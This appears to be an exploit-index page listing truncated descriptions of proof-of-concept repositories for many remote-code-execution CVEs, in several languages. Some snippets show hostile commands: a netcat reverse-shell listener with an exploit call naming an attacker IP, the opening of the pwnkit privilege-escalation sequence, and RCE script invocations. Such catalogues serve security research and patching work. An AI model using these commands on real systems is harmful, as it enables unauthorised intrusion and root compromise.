CVE-2015-9331

CVE-2015-9331 POC 脆弱性の説明 CVE-2015-9331 は、WordPress プラグイン WP All Import における任意ファイルアップロードの脆弱性です。この脆弱性により、認証されていない攻撃者が任意のファイルをサーバーにアップロードでき、リモートコード実行につながる可能性があります。 影響範囲 プラグイン名 : WP All Import 影響を受けるバージョン : = 3.2.3 脆弱性の種類 : 任意ファイルアップロード / リモートコード実行 CVE番号 : CVE-2015-9331 ファイルの説明 poc.py - Python...

MySQL-Remote-Root-Code-Execution

MySQL-Remote-Root-Code-Execution 사용법 root@kitploit: python rcemysql.py -dbuser -dbpass -dbname -dbhost -mycnf...

CVE-2023-43654

CVE-2023-43654 ShellTorch は、PyTorch TorchServe（PyTorch のデフォルト推論サーバー）における3つの重大な脆弱性の連鎖です。 これは、ネットワークから任意のリモートコード実行につながるSSRF脆弱性のエンドツーエンドのPoCです。 1. TorchServe 0.8.1 を実行 root@kitploit: docker run -d --rm -it -p 8080:8080 -p 8081:8081 -p 8082:8082 -p 7070:7070 -p 7071:7071 --name shelltorch-demo...

CVE-2019-18370_XiaoMi_Mi_WIFI_RCE_analysis

此存储库没有 README。...

Strapi-RCE

Strapi-RCE 展示结合了 CVE-2019-18818 和 CVE-2019-19609 的利用脚本，用于在 Strapi CMS 中实现未经认证的远程代码执行。 漏洞利用 此脚本利用了 Strapi CMS 3.0.0-beta.17.4 及更低版本中的一个漏洞，允许未经认证的远程代码执行。 描述 该利用方法首先利用密码重置漏洞获取管理用户的 JSON Web Token JWT。然后使用该令牌向 Strapi CMS 发送恶意负载，从而触发反向 shell 回连到攻击者的机器。 使用方法 1. 克隆仓库： root@kitploit: git clone...

ActiveMQ-RCE

ActiveMQ RCE 影響を受けるバージョン バージョン open -a calculator HTTP サーバーを起動します root@kitploit: python3 -m http.server Main.java ファイルを実行します（必要に応じてアドレスを変更してください）。...

CVE-2021-26084

CVE-2021-26084 CVE-2021-26084 的概念验证。 Confluence Server Webwork OGNL 注入（预认证 RCE） 免责声明 本工具仅供教育目的使用。本人不对你的行为负责。请自行斟酌使用。 命令限制 由于 payload 限制，某些字符无法传入。以下列表是我在测试中发现的。 双引号 " 竖线 | 交互式 Shell root@kitploit: go run exploit.go -t -i 示例 root@kitploit: root@localhost:/ go run exploit.go -t http://localhost:8090...

RCE-in-Spring-Cloud-CVE-2022-22963

Spring CloudのRCEエクスプロイト CVE 2022-22963 CVE-2022-22963 のエクスプロイト - Spring Cloud Functionにおけるリモートコマンド実行 脆弱性の詳細については、こちら と こちら を参照してください。 PoC 攻撃者のホスト上でnetcatを実行: root@kitploit: $ nc -lvnp 9001 攻撃者のホスト上でデフォルトポート 9001 を使用してエクスプロイトを実行する（例）: root@kitploit: $ ./exploit.sh site.com 10.10.14.122 ---Reverse...

Strutter

Strutter CVE-2018-11776 の Proof of Concept であり、Shodan API でターゲットを検索する機能も完備しています。 CVE-2018-11776 Apache Struts バージョン 2.3 から 2.3.34 および 2.5 から 2.5.16 は、namespace を持たない result を使用し、かつ同時にその上位の actions が namespace を持たないかワイルドカード namespace を使用している場合に、リモートコード実行 Remote Code Execution の可能性があります。また、value と...

CVE-2022-3552

CVE-2022-3552 BoxBilling=4.22.1.5 - リモートコード実行 RCE 使用方法 root@kitploit: python3 .\CVE-2022-3552.py -d http://192.168.228.143 -u [email protected] -p [email protected]...

sunset-noontide-pentesting

Sunset: Noontide — ペネトレーションテスト Sunset: Noontide のプロフェッショナルなペネトレーションテスト評価およびCTFウォークスルーです。これは VulnHub の意図的に脆弱なマシンです。 本プロジェクトは、偵察、サービス列挙、脆弱性調査、エクスプロイト、初期アクセス、ポストエクスプロイト、権限昇格、侵害の証明、リスク評価、MITRE ATT&CKマッピング、および修復を含む、完全なペネトレーションテストライフサイクルを文書化しています。 ⚠️ 免責事項:...

couchdb-exploit

🚀 CouchDB Exploit - CVE-2017-12635 & CVE-2017-12636 Apache CouchDB - Privilege Escalation & Remote Code Execution 📖 Overview This tool exploits two critical vulnerabilities in Apache CouchDB: CVE| Description| Severity ---|---|--- CVE-2017-12635| Privilege Escalation via JSON Parsing Bypass| 🔴...

CVE-2021-21975

CVE-2021-21975 VMware vRealize Operations Manager API のサーバーサイドリクエストフォージェリ（SSRF） vRealize Operations（vROps）は、パブリッククラウドの監視を統合しながら、VMware Cloud および HCI のデプロイを最適化、計画、拡張するために、アプリからインフラストラクチャまで AI を活用した自律型 IT 運用管理を提供するツールです。VMware vRealize Operations Manager API 8.4...

CVE-2023-26866

CVE-2023-26866 説明 GreenPacket OH736 の WR-1200 屋内ユニット、OT-235（ファームウェアバージョンはそれぞれ M-IDU-1.6.0.3V1.1 と MH-46360-2.0.3-R5-GP）は、リモートコマンドインジェクションに対して脆弱です。コマンドはログイン前実行を使用して実行され、root 権限で実行されるため、完全な乗っ取りが可能になります。この脆弱性は Lionel Musonza によって検証されています。 脆弱性タイプ CWE-77 コマンドに使用される特殊要素の不適切な無害化（'Command Injection'） cwe...

CVE-2024-50427

CVE-2024-50427 SurveyJS: Drag & Drop WordPress Form Builder = 1.9.136 - 認証済み（購読者+）任意ファイルアップロード 説明: 任意の複雑さのフォームを作成、スタイル設定、埋め込むためのWordPressプラグイン「SurveyJS: Drag & Drop WordPress Form...

RCE-CVE-2024-7954

RCE-CVE-2024-7954 설명 porteplume 플러그인은 4.30-alpha2 , 4.2.13 , 4.1.16 이전 버전의 SPIP에서 사용되며, 심각한 원격 코드 실행RCE 취약점에 영향을 받습니다. 이 결함을 통해 원격의 인증되지 않은 공격자는 특정 HTTP 요청을 조작하여 SPIP 사용자 권한으로 임의의 PHP 코드를 실행할 수 있습니다. 익스플로잇 가능성이 매우 높아, 공격자가 서버에서 악성 명령을 실행하여 무단 접근, 데이터 유출 또는 추가 시스템 손상을 초래할 수 있습니다. 취약점 세부 정보 영향받는...

CVE-2026-63030-CVE-2026-60137

CVE-2026-63030 & CVE-2026-60137 — wp2shell WordPress Core Pre-Auth RCE — Route Confusion + SQL Injection を連鎖させて Remote Code Execution を実現...

cve-2021-4034

cve-2021-4034 mkdir -p 'GCONVPATH=.'; touch 'GCONVPATH=./pwnkit'; chmod a+x 'GCONVPATH=./pwnkit' mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' pwnkit/gconv-modules echo...

n8n-cve-2026-21858

n8n-cve-2026-21858 CVE-2026-21858 + CVE-2025-68613 — n8n の未認証ファイル読み取りからRCEへのエクスプロイト...

exploit-CVE-2025-55182-poc

CVE-2025-55182 - React Server Components プロトタイプチェーン脆弱性 このPOCは、実際の脆弱なコードである [email protected] を使用して CVE-2025-55182 を実証します。 CVE-2025-55182 緊急修正ガイド: Next.js/React RSC 脆弱性 CVSS 10.0 の完全な分析と緩和策 このリポジトリは https://github.com/ejpir/CVE-2025-55182-poc からフォークされたもので、まだ検証されていません! 十分に注意し、慎重に検証してください!...